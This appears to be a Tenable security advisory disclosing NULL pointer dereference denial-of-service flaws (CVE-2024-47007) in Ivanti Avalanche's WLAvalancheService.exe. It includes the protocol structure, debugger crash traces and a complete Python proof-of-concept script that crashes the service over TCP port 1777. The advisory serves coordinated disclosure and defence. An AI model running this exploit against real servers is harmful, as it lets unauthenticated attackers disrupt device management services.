Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Ivanti Avalanche WLAvalancheService.exe v6.4.4.0 Multiple Denial of Service Vulnerabilities

High

Synopsis

Multiple NULL pointer dereference denial-of-service vulnerabilities exist in Ivanti Avalanche WLAvalancheService.exe v6.4.4.0 and prior.

MuProperty type 101 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:

// be = big-endian
strut msg
{
   preamble pre;
   hp hdrpay;
};

struct preamble
{
   be32 MsgSize;     // size of hp + 16
   be32 HdrSize;     // size of hp.hdr
   be32 PayloadSize; // size of hp.payload
   be32 unk:24;
   be32 em:8;        // encryption method
};

// header + payload
struct hp
{
   MuProperty hdr[];      // hdr as array of MuProperty structure(s)
                          // 'h.cmd' as MuProperty.name
                          //  - REQ_REGISTER (18)
                          //  - RSP_REGISTER (19)
                          //  - REQ_AUTH_DEVICE_KEY (28)
                          //  - RSP_AUTH_DEVICE_KEY (29)
                          //  - REQ_AUTH_AGENT_KEY (30)
                          //  - RSP_AUTH_AGENT_KEY (31)
                          //  - REQ_FILE_UPLOAD (10)
                          //  - RSP_FILE_UPLOAD (11)
                          //  - REQ_FILE_UPLOAD_CONT (12)
                          //  - RSP_FILE_UPLOAD_CONT (13)
                          //  - ...
   MuProperty payload[];  // payload as array of MuProperty structure(s)
   byte pad[];            // zero-padded to 16-byte boundary
};

struct MuProperty
{
   be32 type;  // property type, valid: 1-9, 100-102 
   be32 NameSize;
   be32 ValueSize;
   byte name[NameSize];    // property name
   byte value[ValueSize];  // property value
                           // format depends on @type
                           // 3 - hex string
                           // 9 - list of decimal strings separated by ;
                           // 100-102 - list of string tokens separated by ;
                           
};

When processing a MuProperty type 101, which is expected to contain of a list of string tokens separated by the ';' character, the "ParseToken" function is called inside a loop to parse the current token. The function strips any leading spaces in the token and return the token size (after the removal of any leading spaces) and a pointer to the next token.

If the property contains only space characters, the first call to the function returns 0 for the token size and NULL for the next token (pNextToken). Because pNextToken is NULL so it less than pEndOfProperty, the ParseToken function is called again but with a NULL pointer passed to it. This causes a NULL pointer dereference, resulting in a read access violation:

(1714.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026fbae0 ecx=00000000 edx=00000000 esi=0252e73b edi=0509fa88
eip=00429842 esp=0509fa14 ebp=0509fa1c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
WLAvalancheService+0x29842:
00429842 8a08            mov     cl,byte ptr [eax]          ds:002b:00000000=??
0:042> kv
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0509fa1c 0042b592     0509fb18 0509fb08 0252e73b WLAvalancheService+0x29842
01 0509fb1c 0042bb0e     028872f4 0509fb68 00000000 WLAvalancheService+0x2b592
02 0509fe88 0045fda2     028872b8 02887348 0288734c WLAvalancheService+0x2bb0e
03 0509fea8 004c1bbb     003d4226 ffffffff 02884380 WLAvalancheService+0x5fda2
04 0509fed8 004bd07a     017d5c68 00000002 02884380 WLAvalancheService+0xc1bbb
05 0509fef0 00492753     00000002 017d5c68 027b00b0 WLAvalancheService+0xbd07a
06 0509ff08 004d003f     017d5c68 027b00b4 017d5c68 WLAvalancheService+0x92753
07 0509ff1c 005346d6     017d5c68 00529c20 00529c20 WLAvalancheService+0xd003f
08 0509ff70 750805c9     026fbae0 750805b0 0509ffdc WLAvalancheService+0x1346d6
09 0509ff80 77a57c5d     026fbae0 eb2efe0f 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 0509ffdc 77a57c2d     ffffffff 77a76ab7 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 0509ffec 00000000     00529c20 026fbae0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

PoC:

python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 101
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 101 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer

MuProperty type 102 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

A NULL pointer dereference is also triggered when processing a MuProperty of type 102:

(60c.2324): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026183a8 ecx=00000000 edx=00000000 esi=0243e1db edi=04fbfa88
eip=00429842 esp=04fbfa14 ebp=04fbfa1c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
WLAvalancheService+0x29842:
00429842 8a08            mov     cl,byte ptr [eax]          ds:002b:00000000=??
0:042> kv
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04fbfa1c 0042b6cd     04fbfb18 04fbfb08 0243e1db WLAvalancheService+0x29842
01 04fbfb1c 0042bb0e     027b1164 04fbfb68 00000000 WLAvalancheService+0x2b6cd
02 04fbfe88 0045fda2     027b1128 027b11b8 027b11bc WLAvalancheService+0x2bb0e
03 04fbfea8 004c1bbb     003d4238 ffffffff 0279cf40 WLAvalancheService+0x5fda2
04 04fbfed8 004bd07a     016e5dc0 00000002 0279cf40 WLAvalancheService+0xc1bbb
05 04fbfef0 00492753     00000002 016e5dc0 026d0008 WLAvalancheService+0xbd07a
06 04fbff08 004d003f     016e5dc0 026d000c 016e5dc0 WLAvalancheService+0x92753
07 04fbff1c 005346d6     016e5dc0 00529c20 00529c20 WLAvalancheService+0xd003f
08 04fbff70 750805c9     026183a8 750805b0 04fbffdc WLAvalancheService+0x1346d6
09 04fbff80 77a57c5d     026183a8 77d7f0ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 04fbffdc 77a57c2d     ffffffff 77a76ab8 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 04fbffec 00000000     00529c20 026183a8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

PoC:

python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 102
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 102 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer

 

Python PoC:

import socket, argparse, re, hexdump2, sys
from struct import *

def dump(title, data):
  print('[-- %s --]' % (title))
  if data: hexdump2.hexdump(data)
  
def mk_msg(hdr, payload, f4=0):
  msg = hdr + payload
  msg += b'\x00' * ((16 - len(msg) % 16) % 16)
  preamble = pack('>LLLL', len(msg) + 16, len(hdr), len(payload), f4)
  msg = preamble + msg 
  return msg
  
def MuProperty(t, k, v):
  prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
  return prop
  
def recvall(sock, n):
  data = bytearray(b'')
  while len(data) < n:
      packet = sock.recv(n - len(data))
      if not packet:
          return None
      data += packet
  return data
  
def recv_msg(sock):
  data = bytearray(b'')
  # Read preamble
  data = recvall(sock, 0x10)
  if data == None or len(data) != 0x10:
    raise ValueError(f'Failed to read preamble')
  # Get msg size 
  size = unpack_from('>I', data, 0)[0]
  if size < 0x10 or size > 0x200000:
    raise ValueError(f'Invalid msg size {size:X}')
  # Get data 
  data += recvall(sock, size - 0x10)
  if len(data) != size:
    raise ValueError(f'Failed to read msg of {size:X} bytes')
  return bytes(data)
  
def get_cmd(res):
  m = re.search(b'h.cmd(\d+)', res) 
  if m: 
    cmd = int(m.group(1))
  else: 
    raise Exception('h.cmd not in received message.')
  return cmd 
  
#
# MAIN
#

descr = 'Ivanti Avalanche WLAvalancheService.exe NULL Pointer Dereference'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-m', '--mtype', choices=[101,102], type=int, default=101, help='MuProperty type used for the PoC, default: %(default)s')
parser.add_argument('-p', '--port', type=int, default=1777, help='WLAvalancheService.exe port, default: %(default)s')
parser.add_argument('-d', '--debug', action='store_true', help='dump messages')
args = parser.parse_args()
target = args.target
port = args.port
mtype= args.mtype
debug = args.debug
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.settimeout(5)
res = recv_msg(s)
if debug: dump('res on connect', res)
# Check if REQ_REGISTER (18)
cmd = get_cmd(res)
if cmd != 18:
  sys.exit(f'Unexpected h.cmd {cmd} received, expected: 18.')
  
print('Received REQ_REGISTER (18)')
print(f'Sending a malformed MuProperty type {mtype} in RSP_REGISTER (19)')
mid = 0 
hdr =  MuProperty(2, 'h.mid', str(mid).encode())
hdr += MuProperty(2, 'h.cmd', b'19') 
hdr += MuProperty(2, 'h.abort', b'0')
hdr += MuProperty(mtype, 'h.foo', b' ')
payload = MuProperty(2, 'p.rev', b'308')
req = mk_msg(hdr, payload)
if debug: dump('req', req)
try:
  s.sendall(req)
  res = recv_msg(s) 
  if debug: dump('res', res)
except Exception as e:
  print(e)

Solution

Apply vendor supplied updates referenced here: https://forums.ivanti.com/s/article/Ivanti-Avalanche-6-4-5-Security-Advisory?language=en_US

Disclosure Timeline

August 26, 2024 - Tenable discloses to Ivanti. Ivanti acknowledges.
September 16, 2024 - Tenable requests status update. Ivanti provides status update.
October 7, 2024 - Ivanti provides advisory preview.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-47007
Tenable Advisory ID: TRA-2024-42
CVSSv3 Base / Temporal Score:
7.5 / 7.0
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Products:
Ivanti Avalanche 6.4.2.313 and below
Risk Factor:
High

Advisory Timeline

October 10, 2024 - Initial release.